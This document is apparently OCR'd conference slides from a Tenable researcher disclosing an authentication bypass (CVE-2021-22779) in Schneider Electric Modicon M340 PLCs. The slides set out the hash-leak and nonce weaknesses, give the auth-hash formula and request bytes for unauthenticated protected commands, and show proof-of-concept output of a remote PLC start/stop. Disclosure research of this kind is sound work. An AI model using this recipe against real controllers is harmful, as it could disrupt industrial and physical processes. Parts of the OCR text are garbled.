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Who Am||

e VP Research at Tenable
o Leading research teams with 150+ vulnerability
discoveries / year
e Prior, Co-founder Cymptom (Acquired by Tenable)
o Security research at CyberArk and IDF
e Speaker at security conferences
o Black Hat (USA, Asia), MITRE ATT&CKcon, BSides, etc.
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Agenda

e Schneider Electric Modicon vulnerabilities
e Modicon M340
e Authentication Bypass (CVE-2021-22779)

e Other security issues 2




SE Modicon PLC security enhancements

Constant 1byte (256 Application Fixed. M580
session |D options) Password. We patched March
session ID BF discovered g%“iﬁeargl
(CVE-2020-28 CVE-2021-227 Va”dzltjion_
212) 79 Research
ongoing
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Widely-Adopted

O 0O 0O O o oo O o o o

M340/M580 PLCs

Water Treatment
Oil (production)
Gas / Solar / Hydro
Drainage / Levees
Dairy

Car Washes
Cosmetics
Fertilizer

Parking

Plastic Manufacturing
Air Filtration

Country Device Count

France 416
Spain 289
United States 169
Italy 150

Turkey 49
Portugal 41
Canada 37
Norway 36
Poland 28
Thailand 23

Internet Connected
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Backplane
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Power supply

o A —

SE Modicon M340 PLC

10 modules

S 20e0000000ng.

Power Supply
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Engineering Station

e SE EcoStruxure Control
Expert
o Allows to program
both the PLC & HMI
e We created a simple HMI
that turn outlets on and
off
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PLC EngStation Connection

e FTP
o primarily used to upgrade

. Name Length (bytes) Function
the flrmwa re Transaction identifier | 2 For synchronization between messages of server and client
PY M od bus ( over TC PI I P) Protocol idt?ntifier 2 0 for Modbus/TCAPA .
R Length field 2 Number of remaining bytes in this frame
©) upload ru ntlme COde tO Unit identifier 1 Slave address (255 if not used)
the contro"er Function code 1 Function codes as in other variants
Data bytes n Data as response or commands
o start/stop the controller
runtime Modbus packet structure

o remote monitoring and
control via an HMI
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UMAS protocol

e Unified Messaging
Application Services
o proprietary SE protocol
used to configure and

monitor PLCs.

o tunneled through Modbus
o Modbus func code x5a (90)

More info about the UMAS protocol:

v Modbus/TCP
Transaction Identifier: 45469
Protocol Identifier: @
Length: 4
Unit Identifier: ©
v Modbus
.101 1010 = Function Code: Unity (Schneider) (99)

Data: 0002

00 80 f4 25 42 d1 2c f@ 5d 3e 10 Oc 08 00 45 00
00 32 36 be 40 00 80 06 00 00 @a Qa 32 11 Qa Qa
32 7f 9d 8f 01 f6 b4 0c d8 50 2f c4 8f od 50 18
0030 ff 70 78 c8 00 00 |ojigele =l INT= a1 R r - WV
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https://www.google.com/url?q=http://lirasenlared.blogspot.com/2017/08/the-unity-umas-protocol-part-i.html&sa=D&source=editors&ust=1683886057559376&usg=AOvVaw1BGW6mH2r70NbeZye89zi_

UMAS func ReadMemoryBlock

Project name

Version

EngStation project file path
Authentication hashes

O

O

Program Safety
Protection Password
Project Password baseb64

00000C1C
00000C2C
00000C3C
00000C4C
00000C5C
00000C6C
00000C7C

00000C8C
00000C9C
©0PROCAC
00000CBC
00000CCC
00000CDC
©0OOOCEC

ableFact
C7MAIWE. pMESWEJN
gAY=..f6 Al7wsxm7
F5syxa75 GsQhNVC4
bDwlgrEh nAp@8Rgs
14.1...D
ESKTOP-7 I1TR39.C
:\USERS\ PUBLIC\D
OCUMENTS \SCHNEID
ER ELECT RIC\CONT
ROL EXPE RT 14.1\
TENABLE_ FACTORY.
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Pass

“Crypted”
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Nonces (session secret)

e Request Nonce (computed
locally) S ssestes

e Response Nonce ooouaco [7c 33 65 67 09 47 00 ¢

e Same response for the same
request (o additional random
element)

0000119C bl ac 90 00 00 26 00 Sa 00 fe aa aa

000011BC | Qe 09

Server Nonce
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Password
verification
IS only
client-side
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UMAS func QueryTakePLCReservation

e Computer name e
e sha256 hash (Post 3.01 \

. 00POOSEC b : a 2 veee.Y.Z ...h..PD
secunty enhancement) 020008FC b 31 52 ESKTOP-7 I1TR39.7
0000090C 1 bee9c646 da@2bs03
0000091C 6 A 6cf28f86 Se54ff6a
© ChQCk byte for prOteCted 0000092C 3 37 6 46314e3e f7eaa7d3
0200093C 3 . 37 3 ac887ef8 @el74af

requeSts 000011C8 bl ad @0 00 00 05 00 Sa 00 fe[co]

\

Check Byte
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SHA264 Hash generation

e SHA256 (server_nonce + baseb4_str + client_nonce)
e Alldatais found on the engineering station
e Actual password is not needed to get the hash

e Unauth remote “protected” request
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Generating a request to a protected function

e Start PLC request
O With CheCK byte Info Request Message Hardware

Type ID

L CaICUIating the "auth" haSh 20000000 bl 9d 20 00 20 04 00 Sa

00000000 bl 9d ©0 90 00 38 00 Sa 00 fe 06

0 HaShing Client and server 00000010 ©0 00 30 03 00 00 11 00 [86 o1 03 o1]ee 00 00 00

00000020 ©c 42 4d 58 20 50 33 34 20 32 30 32 30 02 e1 e1 .BMX P34 2020...

nonces With hardware ID 0000P030 ©0 00 00 00 40 00 04 01 00 @0 00 90 74 02 Saer Beelerrioss

plc request = “\x5a” + check byte + “\x40\xff\x00”
auth _hash = sha256 (sha256 (hardware id + client nonce)+
plc _request + sha256 (hardware id + server nonce)

Send(“\x5a” + check byte + “\x38\01” + auth hash + plc request)
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Unauth Remote PLC Start and Stop

ubuntu@ubuntu:~/m340$ python auth bypass poc.py 10.10.50.1

Connecting to target 10.10.50.127

Hardware ID: 06010301

INIT COMM success.

PLCSTATUS: PLC is STOPPED

Project: TenableFactory

Program Safety Protection password/crypt: AGCTMAIWE

Project password basec4: pMESWEjNgAY=
f6AlTwsxm7F5syxa756sQhNVC4bDwlqrEnnAp08RgsM=

Link to PoC:
Otenable


https://www.google.com/url?q=https://github.com/tenable/poc/tree/master/SchneiderElectric/M340&sa=D&source=editors&ust=1683886058936545&usg=AOvVaw3UuaJ0RRM7Fmjn5m6HOYJE

https://voutu.be/vI3YxU66tVk
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https://www.google.com/url?q=http://www.youtube.com/watch?v%3DvI3YxU66tVk&sa=D&source=editors&ust=1683886059081094&usg=AOvVaw1ozomruHuqoHBZXAvpCzjB
https://www.google.com/url?q=https://youtu.be/vI3YxU66tVk&sa=D&source=editors&ust=1683886059083378&usg=AOvVaw1XTL4LBbOE3mlT_QiUZz0H

V3.5/4.1 Mitigation

e ReadMemoryBlock new version contains a salt and a ciphertext

instead of the password hash
e The secretis probably computed on the server side
e We still believe some attack surface is available and we plan to

revisit this target
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Program and Safety Password

e Checked “Crypted” . - |
o Weak custom crypto algo G:r;ec;aolns";:r':;‘:aisii:y P’:::j::'onY,E,[.l?le&l&.,ﬁgnl.(glle!'PIQlﬁQl!QU.,JQQDMLQ@ILQU,..,QQH\,U]SJIL.
o Hashlen=passlen
o Hash collisions
m ‘acq’,‘asq’, ‘isy’ and i S
‘gsq’ all hash to ‘5DF".
e Unchecked |
o Plaintext password

Change password, o
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OT security lags behind with severe
unauth remote vulnerabilities

Difficult to trust vendors when
“Security enhancements” are often
worse

The ICS industry may not be mature enough to
meet the expectation of 90 days disclosure
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